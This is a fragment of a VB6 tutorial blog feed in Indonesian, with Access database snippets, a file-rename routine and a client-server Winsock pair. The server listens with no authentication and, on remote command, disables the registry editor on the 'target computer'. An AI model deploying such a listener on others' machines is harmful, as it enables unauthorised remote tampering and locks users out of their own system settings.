/&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;4. Menghubungkan Isi Field Ke Control&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 150px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command3_Click()&lt;br /&gt;    Set Me.Text1.DataSource = adoPrimaryRSLoginSiswa&lt;br /&gt;    Set Me.Text2.DataSource = adoPrimaryRSLoginSiswa&lt;br /&gt;    &lt;br /&gt;    Me.Text1.DataField = "NAMA_SISWA"&lt;br /&gt;    Me.Text2.DataField = "NIS"&lt;br /&gt;    &lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;5. Mengecek Field Kosong (IsNull)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 250px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command4_Click()&lt;br /&gt;    &lt;span style="color: yellow;"&gt;'DI PROPERTY Text3 MultiLine pilih True&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: yellow;"&gt;'DI PROPERTY Text3 ScrollBars pilih 3&lt;/span&gt;&lt;br /&gt;    Text3.Text = "MENGECEK FIELD NIS KOSONG"&lt;br /&gt;    adoPrimaryRSLoginSiswa.MoveFirst&lt;br /&gt;    While Not adoPrimaryRSLoginSiswa.EOF&lt;br /&gt;    If IsNull(adoPrimaryRSLoginSiswa.Fields("NIS")) = True Then&lt;br /&gt;        Text3.Text = Text3.Text &amp;amp; vbCrLf &amp;amp; "NO : " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition &amp;amp; ". " &amp;amp; adoPrimaryRSLoginSiswa.Fields("NAMA_SISWA").Value &amp;amp; " KOSONG"&lt;br /&gt;    ElseIf IsNull(adoPrimaryRSLoginSiswa.Fields("NIS")) = False Then&lt;br /&gt;        Text3.Text = Text3.Text &amp;amp; vbCrLf &amp;amp; "NO : " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition &amp;amp; " TIDAK KOSONG "&lt;br /&gt;    End If&lt;br /&gt;        adoPrimaryRSLoginSiswa.MoveNext&lt;br /&gt;    Wend&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;6. Navigasi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 600px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command5_Click()&lt;br /&gt;    If adoPrimaryRSLoginSiswa.AbsolutePosition = 1 Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then&lt;br /&gt;        Beep&lt;br /&gt;    Else&lt;br /&gt;        adoPrimaryRSLoginSiswa.MoveFirst &lt;span style="color: yellow;"&gt;'Ke record Pertama&lt;/span&gt;&lt;br /&gt;    End If&lt;br /&gt;    Me.Label2.Caption = "NO. " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command6_Click()&lt;br /&gt;    If adoPrimaryRSLoginSiswa.AbsolutePosition = 1 Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then&lt;br /&gt;        Beep&lt;br /&gt;    Else&lt;br /&gt;        adoPrimaryRSLoginSiswa.MovePrevious &lt;span style="color: yellow;"&gt;"Ke record Sebelumnya&lt;/span&gt;    End If&lt;br /&gt;    Me.Label2.Caption = "NO. " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command7_Click()&lt;br /&gt;    If adoPrimaryRSLoginSiswa.AbsolutePosition = adoPrimaryRSLoginSiswa.RecordCount Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then&lt;br /&gt;        Beep&lt;br /&gt;    Else&lt;br /&gt;        adoPrimaryRSLoginSiswa.MoveNext &lt;span style="color: yellow;"&gt;'Ke record Selanjutnya&lt;/span&gt;    End If&lt;br /&gt;    Me.Label2.Caption = "NO. " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command8_Click()&lt;br /&gt;    If adoPrimaryRSLoginSiswa.AbsolutePosition = adoPrimaryRSLoginSiswa.RecordCount Or adoPrimaryRSLoginSiswa.RecordCount = 0 Then&lt;br /&gt;        Beep&lt;br /&gt;    Else&lt;br /&gt;        adoPrimaryRSLoginSiswa.MoveLast &lt;span style="color: yellow;"&gt;'Ke record Terakhir&lt;/span&gt;    End If&lt;br /&gt;    Me.Label2.Caption = "NO. " &amp;amp; adoPrimaryRSLoginSiswa.AbsolutePosition&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;6. Mendapatkan Tabel Dalam database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 150px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command9_Click()&lt;br /&gt;Dim NamaTabel As ADODB.Recordset&lt;br /&gt;Set NamaTabel = db.OpenSchema(adSchemaTables)&lt;br /&gt;    While Not NamaTabel.EOF&lt;br /&gt;        If NamaTabel!TABLE_TYPE = "TABLE" Then Text4.Text = Text4.Text &amp;amp; vbCrLf &amp;amp; NamaTabel!TABLE_NAME&lt;br /&gt;        NamaTabel.MoveNext&lt;br /&gt;    Wend&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;7. Mendapatkan Field Dalam Tabel&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 150px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command10_Click()&lt;br /&gt;Dim Column As ADODB.Field&lt;br /&gt;If adoPrimaryRSLoginSiswa.State = adStateOpen Then&lt;br /&gt;    For Each Column In adoPrimaryRSLoginSiswa.Fields&lt;br /&gt;        Text5.Text = Text5.Text &amp;amp; vbCrLf &amp;amp; Column.Name&lt;br /&gt;    Next&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;8. Membuat Tabel - Create Table&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 150px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command11_Click()&lt;br /&gt;    Dim Cmd As New ADODB.Command&lt;br /&gt;    Cmd.ActiveConnection = db&lt;br /&gt;    Cmd.CommandText = "create table TabelBaru (NAMA_SISWA varchar(20), KELAS varchar(5), TENTANG_SISWA LongChar, Foto LongBinary)"&lt;br /&gt;    Cmd.Execute&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;9. Menambahkan Field Di Tabel Yang Sudah Ada - Add Field In Exists Table&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 500px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command12_Click()&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Tambahkan references Microsoft ADO Ext. 2.1 for DDL and Security atau versi lebih tinggi&lt;/span&gt;&lt;br /&gt;    Dim Xconx As ADODB.Connection&lt;br /&gt;    Dim Xcmd As ADODB.Command&lt;br /&gt;    Dim Xrs As ADODB.Recordset&lt;br /&gt;    Dim m_MDBdatabase As String&lt;br /&gt;    Dim m_MDBtable As String&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Tambahkan columns di tabel yang sudah ada&lt;/span&gt;&lt;br /&gt;    Dim ADOXcat As ADOX.Catalog&lt;br /&gt;    Dim MStbl As ADOX.table&lt;br /&gt;    Dim MScol As ADOX.Column&lt;br /&gt;    &lt;br /&gt;    m_MDBdatabase = App.Path &amp;amp; "\DBPembelajaran.mdb"&lt;br /&gt;    m_MDBtable = "TblSiswaLogin"&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Membuat koneksi&lt;/span&gt;&lt;br /&gt;    Set Xconx = New ADODB.Connection&lt;br /&gt;    Set Xcmd = New ADODB.Command&lt;br /&gt;    Set Xrs = New ADODB.Recordset&lt;br /&gt;    Set Xconx = CreateObject("ADODB.Connection")&lt;br /&gt;    Xconx.Open "Provider=Microsoft.Jet.OLEDB.4.0;" &amp;amp; _&lt;br /&gt;    "Persist Security Info=False;" &amp;amp; _&lt;br /&gt;    "Data Source=" &amp;amp; m_MDBdatabase&lt;br /&gt;    Set Xrs = CreateObject("ADODB.Recordset")&lt;br /&gt;    Xrs.CursorLocation = adUseServer&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Mengirimkan MDB dan table ke catalog&lt;/span&gt;&lt;br /&gt;    Set ADOXcat = New ADOX.Catalog&lt;br /&gt;    ADOXcat.ActiveConnection = _&lt;br /&gt;    "Provider=Microsoft.Jet.OLEDB.4.0;" &amp;amp; _&lt;br /&gt;    "Data Source=" &amp;amp; m_MDBdatabase&lt;br /&gt;    Set MStbl = ADOXcat.Tables(m_MDBtable)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Menambahkan columns/Field ke tabel yang ada&lt;/span&gt;&lt;br /&gt;    MStbl.Columns.Append "NILAI", adDouble&lt;br /&gt;    MStbl.Columns.Append "KETERANGAN", adVarWChar, 255&lt;br /&gt;    MStbl.Columns.Append "TANGGAL_LAHIR", adDate&lt;br /&gt;    &lt;br /&gt;&lt;span style="color: yellow;"&gt;'Bersihkan&lt;/span&gt;&lt;br /&gt;    ADOXcat.ActiveConnection.Close&lt;br /&gt;    Set ADOXcat = Nothing&lt;br /&gt;    Set MStbl = Nothing&lt;br /&gt;    Set MScol = Nothing&lt;br /&gt;    Set Xconx = Nothing&lt;br /&gt;    Set Xcmd = Nothing&lt;br /&gt;    Set Xrs = Nothing&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;10. Hapus Semua Record Dalam Tabel&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 100px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command13_Click()&lt;br /&gt;    db.Execute "DELETE FROM TBLsiswalogin"&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;11. Hapus Tabel&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command14_Click()&lt;br /&gt;&lt;span style="color: yellow;"&gt;'Tambahkan references Microsoft DAO 3.6 Object Library atau versi lebih tinggi&lt;br /&gt;&lt;/span&gt;    Dim ConMateri As Database, AdoDao%&lt;br /&gt;    Set ConMateri = OpenDatabase(App.Path &amp;amp; "\DBPembelajaran.MDB", False, False, "MS Access;Pwd=dbpwd")&lt;br /&gt;    Dim TbDef As TableDefs&lt;br /&gt;    Set TbDef = ConMateri.TableDefs&lt;br /&gt;    ConMateri.TableDefs.Delete "NamaTabelYangAkanDiHapus"&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/2767966886673874853/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2011/05/serpihan-kode-databse-database-flakes.html#comment-form" rel="replies" title="14 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/2767966886673874853" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/2767966886673874853" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2011/05/serpihan-kode-databse-database-flakes.html" rel="alternate" title="Serpihan Kode Database Access" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8746476016932231591</id><published>2011-01-17T11:23:00.002+07:00</published><updated>2011-04-11T13:44:43.396+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Basic"/><title type="text">Rename File Atau Folder</title><content type="html">Hai... Ini ada sedikit Source Code untuk Rename File Folder, Posting ini termotivasi dari Pertanyaan Anggota Grup &lt;a href="http://www.facebook.com/group.php?gid=53078489270" target="_blank"&gt;Programer VB Indonesia&lt;/a&gt;.&lt;br /&gt;Langsung saja ini codenya, Semoga bermanfaat.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long&lt;br /&gt;Private Type SHFILEOPSTRUCT&lt;br /&gt;    hwnd As Long&lt;br /&gt;    wFunc As Long&lt;br /&gt;    pFrom As String&lt;br /&gt;    pTo As String&lt;br /&gt;    fFlags As Integer&lt;br /&gt;    fAborted As Boolean&lt;br /&gt;    hNameMaps As Long&lt;br /&gt;    sProgress As String&lt;br /&gt;End Type&lt;br /&gt; Const FO_DELETE = &amp;amp;H3&lt;br /&gt; Const FO_RENAME = &amp;amp;H4&lt;br /&gt; Const FO_COPY = &amp;amp;H2&lt;br /&gt;&lt;br /&gt;Sub RenameFile()&lt;br /&gt;Dim NewFileName As String&lt;br /&gt;Dim TitleFile&lt;br /&gt;Dim PathFile&lt;br /&gt;'On Error Resume Next&lt;br /&gt;TitleFile = "Baru"&lt;br /&gt;PathFile = "D:\Lama"&lt;br /&gt;NewFileName = InputBox("Are you sure want rename File " &amp;amp; """" &amp;amp; TitleFile &amp;amp; """?", _&lt;br /&gt;        "Rename File", PathFile)&lt;br /&gt;Dim SHDirOp As SHFILEOPSTRUCT&lt;br /&gt;    With SHDirOp&lt;br /&gt;        .wFunc = FO_RENAME&lt;br /&gt;        .pFrom = "D:\BARU"&lt;br /&gt;        .pTo = NewFileName&lt;br /&gt;    End With&lt;br /&gt;SHFileOperation SHDirOp&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;    RenameFile&lt;br /&gt;End Sub&lt;br /&gt; &lt;/pre&gt;&lt;/center&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/8746476016932231591/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2011/01/rename-file-atau-folder.html#comment-form" rel="replies" title="6 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/8746476016932231591" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/8746476016932231591" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2011/01/rename-file-atau-folder.html" rel="alternate" title="Rename File Atau Folder" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-4514115529383797736</id><published>2010-12-21T12:59:00.002+07:00</published><updated>2010-12-25T23:34:36.963+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Basic"/><title type="text">Basic Client - Server</title><content type="html">&lt;span style="background-color: white;"&gt;&lt;/span&gt;Beberapa hari lalu ada teman yang menulis komentar pada postingan &lt;a href="http://vbasiccode.blogspot.com/2010/08/remote-desktop-pengontrol-komputer.html"&gt;Remote Desktop - Pengontrol Komputer Orang Lain&lt;/a&gt; ,dia mendapat tugas untuk membuat aplikasi Client-Server yang fungsi aplikasi tersebut adalah untuk mengontrol Sistem Registry komputer target. Untuk memenuhi pertanyaan teman tersebut serta mengupdate Blog ini maka jawabannya saya tulis dalam bentuk postingan..&lt;br /&gt;Langsung saja ini screenshot dan kodenya.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_48czvH0DaKc/TQ-cqYEuijI/AAAAAAAAAXg/BP0lfufP-1I/s1600/Client-Server.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="305" src="http://3.bp.blogspot.com/_48czvH0DaKc/TQ-cqYEuijI/AAAAAAAAAXg/BP0lfufP-1I/s400/Client-Server.png" width="400" /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;u&gt;&lt;b&gt;&amp;nbsp;Langkah Pembuatan Project&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Buat dua buah project, yaitu Project Client dan Project Server.&lt;/li&gt;&lt;li&gt;Untuk Project Client terdiri atas 3 CommandButton, 1 Text untuk menampung IP Address komputer target (server), 1 label info koneksi&amp;nbsp; dan 1 Component Microsoft Winsock Control 6.0.&lt;i&gt; Lebih jelasnya lihat gambar di atas. &lt;/i&gt;&lt;/li&gt;&lt;li&gt;UntukProject Server cukup 1 label info dan 1 Component Microsoft Winsock Control 6.0. &lt;/li&gt;&lt;/ol&gt;&lt;div style="background-color: black; color: yellow;"&gt;Copy Paste Code dibawah ini pada form Project Client.&lt;/div&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;'panggil URL&lt;br /&gt;Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long&lt;br /&gt;Private Const conSwNormal = 1&lt;br /&gt;&lt;br /&gt;Private Sub ConnectToServer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WscClient.Connect Text1.Text, 2010&lt;br /&gt;End Sub&lt;br /&gt;Private Sub DisConnectToServer()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WscClient.Close&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If Command1.Caption = "Connect" Then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ConnectToServer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ElseIf Command1.Caption = "Disconnect" Then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DisConnectToServer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command1.Caption = "Connect"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command2.Enabled = False&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command3.Enabled = False&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lblInfo.Caption = "Belum Konek Server..."&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;&amp;nbsp;&amp;nbsp; WscClient.SendData "enablereg"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WscClient.SendData "disablereg"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WscClient.Protocol = sckTCPProtocol&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Label1_Click()&lt;br /&gt;ShellExecute hwnd, "open", "Http://vbasiccode.blogspot.com", vbNullString, vbNullString, conSwNormal&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Label2_Click()&lt;br /&gt;ShellExecute hwnd, "open", "http://vbasiccode.blogspot.com/2010/04/tutorial-ptc.html", vbNullString, vbNullString, conSwNormal&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Label3_Click()&lt;br /&gt;ShellExecute hwnd, "open", "http://www.facebook.com/OutOfStack", vbNullString, vbNullString, conSwNormal&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WscClient_Close()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command1.Caption = "Connect"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command2.Enabled = False&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command3.Enabled = False&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lblInfo.Caption = "Aplikasi Server Ditutup..."&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WscClient_Connect()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; lblInfo.Caption = "Terkoneksi dengan Server"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command2.Enabled = True&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command3.Enabled = True&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command1.Caption = "Disconnect"&lt;br /&gt;End Sub&lt;br /&gt;Private Sub WscClient_DataArrival(ByVal bytesTotal As Long)&lt;br /&gt;Dim date_primite As String&lt;br /&gt;Dim Vector() As String&lt;br /&gt;WscClient.GetData date_primite&lt;br /&gt;Vector = Split(date_primite, "|")&lt;br /&gt;&lt;br /&gt;Select Case Vector(0)&lt;br /&gt;&lt;br /&gt;Case "laporan"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MsgBox Vector(1)&lt;br /&gt;End Select&lt;br /&gt;&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;/br&gt;&lt;br /&gt;&lt;div style="background-color: black; color: yellow;"&gt;Copy Paste Code dibawah ini pada form Project Server.&lt;/div&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Form_Load()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.LocalPort = 2010&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Listen&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Close&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WskServer_Close()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Close&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Listen&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; lblInfo.Caption = "Koneksi ditutup Client..."&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WskServer_ConnectionRequest(ByVal requestID As Long)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Close&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Accept requestID&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; lblInfo.Caption = "Terkoneksi dengan client..."&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WskServer_DataArrival(ByVal bytesTotal As Long)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim date_primite As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim Vector() As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim regrun&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Set regrun = CreateObject("WScript.Shell")&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.GetData date_primite&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Vector = Split(date_primite, "|")&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Select Case Vector(0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Case "disablereg"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; regrun.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; regrun.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.SendData "laporan|" + "Laporan dari Server:""Registry Server tidak dapat dibuka."""&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Case "enablereg"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; regrun.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; regrun.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.SendData "laporan|" + "Laporan dari Server: ""Registry Server sudah dapat dibuka kembali."""&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; End Select&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub WskServer_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Close&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WskServer.Listen&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Silahkan Download&amp;nbsp;&lt;a 